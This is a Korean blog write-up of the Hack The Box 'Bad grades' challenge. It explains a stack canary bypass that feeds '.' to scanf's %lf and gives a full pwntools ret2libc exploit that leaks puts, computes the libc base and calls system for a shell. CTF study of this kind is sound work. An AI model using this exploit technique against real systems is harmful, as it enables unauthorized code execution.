본문 바로가기

그냥 공부

Hack the box - Bad grades

 

시작하기전 보호기법 확인

 

                1번을 골랐을 때                                                               2번을 골랐을 때

 

2번을 골랐을 때 숫자를 입력 받고 그 숫자만큼 반복해서 값을 또 받는다

 

 소스코드

 

이것 저것 확인하던중  stack smashing을 찾았다

 

gdb 로 canary 값을 찾아 보았다

              숫자 입력전 카나리 값이 잘 존재한다                            숫자를 입력후 카나리 값이 덮힌걸 볼 수 있다 

 

숫자를 하나만 입력해도 카나리가 바로 덮힌다 

 

이걸 어떻게 우회를 할까 

 

답은 위에 소스코드에 %lf 부분을 잘 검색하면 알 수 있다

 

https://rehex.ninja/posts/scanf-and-hateful-dot/

 

pwn> scanf and hateful dot

How to bypass the stack canary with . (dot) and scanf.

rehex.ninja

 

. 을 쓰면 카나리가 우회 된다고 한다

 

최종 익스 코드

 

from pwn import *

# r = process('./bad_grades')
r = remote('68.183.41.74',30170)
e = ELF('./bad_grades', checksec=False)
# libc = ELF('./libc.so.6', checksec=False)
libc = ELF("./libc6_2.27-3ubuntu1.3_amd64.so", checksec=False)

pr = 0x401263
main = 0x000000000401108
puts_plt = e.plt['puts']
puts_got = e.got['puts']

def htd(addr):
    return struct.unpack('d', binascii.hexlify(addr).decode('hex'))[0]

def bypass_canary():
    for i in range(0,33):
        r.sendlineafter('Grade [{}]: '.format(i+1), '1')
    r.sendline('.') #canary bypass
    r.sendline('.') # rbp 

r.sendlineafter('> ', '2')
r.sendlineafter(':', '39')
bypass_canary()

r.sendlineafter(':', "{}".format(htd(p64(pr))))
r.sendlineafter(':', "{}".format(htd(p64(puts_got))))
r.sendlineafter(':', "{}".format(htd(p64(puts_plt))))
r.sendlineafter(':', "{}".format(htd(p64(main))))

r.recvline()

leak = u64(r.recv(6) + '\x00\x00')
log.info('leak : {}'.format(hex(leak)))
libc_base = leak - 	0x080aa0
log.info('libc_base : {}'.format(hex(libc_base)))
system = libc_base + 0x4f432

r.sendlineafter('> ', '2')
r.sendlineafter(':', '36')
bypass_canary()

r.sendlineafter(':', "{}".format(htd(p64(system))))

r.interactive()

문제에서는 이상하게 한번에 쉘이 안따지는 문제 계속 시도하다보면 된다

 

로컬에서 잘 되는거는 안 비밀

'그냥 공부' 카테고리의 다른 글

Heap - Fastbin dup  (0) 2021.12.08
Hack the Box - format  (0) 2021.09.30
H@cktivityCon 2021 CTF - Faucet  (0) 2021.09.22
LIT CTF 2021  (0) 2021.07.20